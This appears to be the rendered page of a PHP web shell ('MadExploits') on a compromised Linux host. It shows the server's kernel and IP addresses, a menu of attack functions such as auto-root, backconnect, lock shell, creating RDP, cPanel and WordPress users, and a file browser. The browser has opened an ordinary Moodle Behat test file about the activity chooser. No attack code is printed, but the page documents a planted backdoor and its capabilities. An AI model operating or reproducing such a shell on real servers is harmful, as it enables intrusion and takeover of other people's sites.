Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.179.154
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
course /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
activities_edit_completion.fea...
2.4
KB
-rw-r--r--
activities_edit_name.feature
1.8
KB
-rw-r--r--
activities_group_icons.feature
1.79
KB
-rw-r--r--
activities_indentation.feature
2.06
KB
-rw-r--r--
activities_visibility_icons.fe...
8.63
KB
-rw-r--r--
activity_chooser.feature
11.91
KB
-rw-r--r--
activity_navigation.feature
16.58
KB
-rw-r--r--
activity_navigation_with_restr...
3.38
KB
-rw-r--r--
add_activities.feature
2.19
KB
-rw-r--r--
behat_course.php
84.14
KB
-rw-r--r--
category_change_visibility.fea...
17.1
KB
-rw-r--r--
category_management.feature
22.91
KB
-rw-r--r--
category_resort.feature
10.92
KB
-rw-r--r--
category_role_assignment.featu...
1.57
KB
-rw-r--r--
course_browsing.feature
4.4
KB
-rw-r--r--
course_category_management_lis...
43.87
KB
-rw-r--r--
course_change_visibility.featu...
5.88
KB
-rw-r--r--
course_contact.feature
7.35
KB
-rw-r--r--
course_controls.feature
9.47
KB
-rw-r--r--
course_creation.feature
4.18
KB
-rw-r--r--
course_download_content.featur...
2.29
KB
-rw-r--r--
course_download_content_permis...
5.66
KB
-rw-r--r--
course_relativedatesmode.featu...
2.09
KB
-rw-r--r--
course_request.feature
4.23
KB
-rw-r--r--
course_resort.feature
11.28
KB
-rw-r--r--
course_search.feature
1.58
KB
-rw-r--r--
coursetags.feature
3.97
KB
-rw-r--r--
create_delete_course.feature
5.13
KB
-rw-r--r--
customfields_locked.feature
1.26
KB
-rw-r--r--
customfields_visibility.featur...
3.39
KB
-rw-r--r--
edit_settings.feature
2.49
KB
-rw-r--r--
force_group_mode.feature
2.13
KB
-rw-r--r--
frontpage_display_modes.featur...
3.15
KB
-rw-r--r--
general_section.feature
1.48
KB
-rw-r--r--
keyholder.feature
2.36
KB
-rw-r--r--
max_number_sections.feature
1.95
KB
-rw-r--r--
move_activities.feature
2.3
KB
-rw-r--r--
move_sections.feature
2.4
KB
-rw-r--r--
navigate_course_list.feature
3.16
KB
-rw-r--r--
paged_course_navigation.featur...
6
KB
-rw-r--r--
recommend_activities.feature
2
KB
-rw-r--r--
rename_roles.feature
2.88
KB
-rw-r--r--
restrict_available_activities....
1.87
KB
-rw-r--r--
role_renaming.feature
2.14
KB
-rw-r--r--
search_recommended_activities....
1
KB
-rw-r--r--
section_highlighting.feature
1.78
KB
-rw-r--r--
section_visibility.feature
3.01
KB
-rw-r--r--
view_subfolders_inline.feature
3.12
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : activity_chooser.feature
@core @core_course @javascript Feature: Display and choose from the available activities in course In order to add activities to a course As a teacher I should be enabled to choose from a list of available activities and also being able to read their summaries. Background: Given the following "users" exist: | username | firstname | lastname | email | | teacher | Teacher | 1 | teacher@example.com | And the following "courses" exist: | fullname | shortname | format | | Course | C | topics | And the following "course enrolments" exist: | user | course | role | | teacher | C | editingteacher | And the following config values are set as admin: | enablemoodlenet | 0 | tool_moodlenet | And I log in as "teacher" And I am on "Course" course homepage with editing mode on Scenario: The available activities are displayed to the teacher in the activity chooser Given I click on "Add an activity or resource" "button" in the "Topic 1" "section" Then I should see "Add an activity or resource" in the ".modal-title" "css_element" And I should see "Assignment" in the ".modal-body" "css_element" Scenario: The teacher can choose to add an activity from the activity items in the activity chooser Given I click on "Add an activity or resource" "button" in the "Topic 3" "section" When I click on "Add a new Assignment" "link" in the "Add an activity or resource" "dialogue" Then I should see "Adding a new Assignment" And I set the following fields to these values: | Assignment name | Test Assignment Topic 3 | And I press "Save and return to course" Then I should see "Test Assignment Topic 3" in the "Topic 3" "section" Scenario: The teacher can choose to add an activity from the activity summary in the activity chooser Given I click on "Add an activity or resource" "button" in the "Topic 1" "section" When I click on "Information about the Assignment activity" "button" in the "Add an activity or resource" "dialogue" When I click on "Add a new Assignment" "link" in the "help" "core_course > Activity chooser screen" Then I should see "Adding a new Assignment" Scenario: Show summary Given I click on "Add an activity or resource" "button" in the "Topic 1" "section" When I click on "Information about the Assignment activity" "button" in the "Add an activity or resource" "dialogue" Then I should see "Assignment" in the "help" "core_course > Activity chooser screen" And I should see "The assignment activity module enables a teacher to communicate tasks, collect work and provide grades and feedback." Scenario: Hide summary Given I click on "Add an activity or resource" "button" in the "Topic 1" "section" When I click on "Information about the Assignment activity" "button" in the "modules" "core_course > Activity chooser screen" And I should see "The assignment activity module enables a teacher to communicate tasks, collect work and provide grades and feedback." in the "help" "core_course > Activity chooser screen" And I should see "Back" in the "help" "core_course > Activity chooser screen" When I click on "Back" "button" in the "help" "core_course > Activity chooser screen" Then "modules" "core_course > Activity chooser screen" should be visible And "help" "core_course > Activity chooser screen" should not be visible And "Back" "button" should not exist in the "modules" "core_course > Activity chooser screen" And I should not see "The assignment activity module enables a teacher to communicate tasks, collect work and provide grades and feedback." in the "Add an activity or resource" "dialogue" Scenario: View recommended activities When I log out And I log in as "admin" And I am on site homepage And I navigate to "Courses > Activity chooser > Recommended activities" in site administration And I click on ".activity-recommend-checkbox" "css_element" in the "Book" "table_row" # Setup done, lets check it works with a teacher. And I log out And I log in as "teacher" And I am on "Course" course homepage with editing mode on And I open the activity chooser Then I should see "Recommended" in the "Add an activity or resource" "dialogue" And I click on "Recommended" "link" in the "Add an activity or resource" "dialogue" And I should see "Book" in the "recommended" "core_course > Activity chooser tab" Scenario: Favourite a module in the activity chooser Given I open the activity chooser And I should not see "Starred" in the "Add an activity or resource" "dialogue" And I click on "Star Assignment activity" "button" in the "Add an activity or resource" "dialogue" And I should see "Starred" in the "Add an activity or resource" "dialogue" When I click on "Starred" "link" in the "Add an activity or resource" "dialogue" Then I should see "Assignment" in the "favourites" "core_course > Activity chooser tab" And I click on "Information about the Assignment activity" "button" in the "favourites" "core_course > Activity chooser tab" And I should see "The assignment activity module enables a teacher to communicate tasks, collect work and provide grades and feedback." Scenario: Add a favourite module and check it exists when reopening the chooser Given I open the activity chooser And I click on "Star Assignment activity" "button" in the "Add an activity or resource" "dialogue" And I click on "Star Forum activity" "button" in the "Add an activity or resource" "dialogue" And I should see "Starred" in the "Add an activity or resource" "dialogue" And I click on "Close" "button" in the "Add an activity or resource" "dialogue" When I click on "Add an activity or resource" "button" in the "Topic 3" "section" And I click on "Starred" "link" in the "Add an activity or resource" "dialogue" Then I should see "Forum" in the "favourites" "core_course > Activity chooser tab" Scenario: Add a favourite and then remove it whilst checking the tabs work as expected Given I open the activity chooser And I click on "Star Assignment activity" "button" in the "Add an activity or resource" "dialogue" And I click on "Starred" "link" in the "Add an activity or resource" "dialogue" And I click on "Star Assignment activity" "button" in the "Add an activity or resource" "dialogue" Then I should not see "Starred" in the "Add an activity or resource" "dialogue" Scenario: The teacher can search for an activity by it's name Given I click on "Add an activity or resource" "button" in the "Topic 1" "section" When I set the field "search" to "Lesson" Then I should see "1 results found" in the "Add an activity or resource" "dialogue" And I should see "Lesson" in the "Add an activity or resource" "dialogue" Scenario: The teacher can search for an activity by it's description Given I open the activity chooser When I set the field "search" to "The lesson activity module enables a teacher to deliver content" Then I should see "1 results found" in the "Add an activity or resource" "dialogue" And I should see "Lesson" in the "Add an activity or resource" "dialogue" Scenario: Search results are not returned if the search query does not match any activity name or description Given I click on "Add an activity or resource" "button" in the "Topic 1" "section" When I set the field "search" to "Random search query" Then I should see "0 results found" in the "Add an activity or resource" "dialogue" And ".option" "css_element" should not exist in the ".searchresultitemscontainer" "css_element" Scenario: Teacher can return to the default activity chooser state by manually removing the search query Given I click on "Add an activity or resource" "button" in the "Topic 1" "section" And I set the field "search" to "Lesson" And I should see "1 results found" in the "Add an activity or resource" "dialogue" And I should see "Lesson" in the "Add an activity or resource" "dialogue" When I set the field "search" to "" And I should not see "1 results found" in the "Add an activity or resource" "dialogue" Then ".searchresultscontainer" "css_element" should not be visible And ".optionscontainer" "css_element" should exist Scenario: Teacher can not see a "clear" button if a search query is not entered in the activity chooser search bar When I click on "Add an activity or resource" "button" in the "Topic 1" "section" Then "Clear search input" "button" should not be visible Scenario: Teacher can see a "clear" button after entering a search query in the activity chooser search bar Given I click on "Add an activity or resource" "button" in the "Topic 1" "section" When I set the field "search" to "Search query" Then "Clear search input" "button" should not be visible Scenario: Teacher can not see a "clear" button if the search query is removed in the activity chooser search bar Given I click on "Add an activity or resource" "button" in the "Topic 1" "section" And I set the field "search" to "Search query" And "Clear search input" "button" should exist When I set the field "search" to "" # Waiting for the animation to hide the button to finish. And I wait "1" seconds Then "Clear search input" "button" should not be visible Scenario: Teacher can instantly remove the search query from the activity search bar by clicking on the "clear" button Given I click on "Add an activity or resource" "button" in the "Topic 1" "section" And I set the field "search" to "Search query" And I should see "results found" in the "Add an activity or resource" "dialogue" When I click on "Clear search input" "button" Then I should not see "Search query" And ".searchresultscontainer" "css_element" should not be visible And ".optionscontainer" "css_element" should exist Scenario: Teacher gets the base case for the Activity Chooser tab mode Given I click on "Add an activity or resource" "button" in the "Topic 1" "section" And I should see "Activities" in the "Add an activity or resource" "dialogue" When I click on "Activities" "link" in the "Add an activity or resource" "dialogue" Then I should not see "Book" in the "activity" "core_course > Activity chooser tab" And I click on "Resources" "link" in the "Add an activity or resource" "dialogue" And I should not see "Assignment" in the "resources" "core_course > Activity chooser tab" Scenario: Teacher gets the simple case for the Activity Chooser tab mode Given I log out And I log in as "admin" And I am on site homepage When I navigate to "Courses > Activity chooser > Activity chooser settings" in site administration And I select "Starred, All, Recommended" from the "Activity chooser tabs" singleselect And I press "Save changes" And I log out And I log in as "teacher" And I am on "Course" course homepage with editing mode on And I click on "Add an activity or resource" "button" in the "Topic 1" "section" Then I should not see "Activities" in the "Add an activity or resource" "dialogue" And I should not see "Resources" in the "Add an activity or resource" "dialogue" Scenario: Teacher gets the final case for the Activity Chooser tab mode Given I log out And I log in as "admin" And I am on site homepage When I navigate to "Courses > Activity chooser > Activity chooser settings" in site administration And I select "Starred, Activities, Resources, Recommended" from the "Activity chooser tabs" singleselect And I press "Save changes" And I log out And I log in as "teacher" And I am on "Course" course homepage with editing mode on And I click on "Add an activity or resource" "button" in the "Topic 1" "section" Then I should not see "All" in the "Add an activity or resource" "dialogue" And I should see "Activities" in the "Add an activity or resource" "dialogue" And I should see "Resources" in the "Add an activity or resource" "dialogue"
Close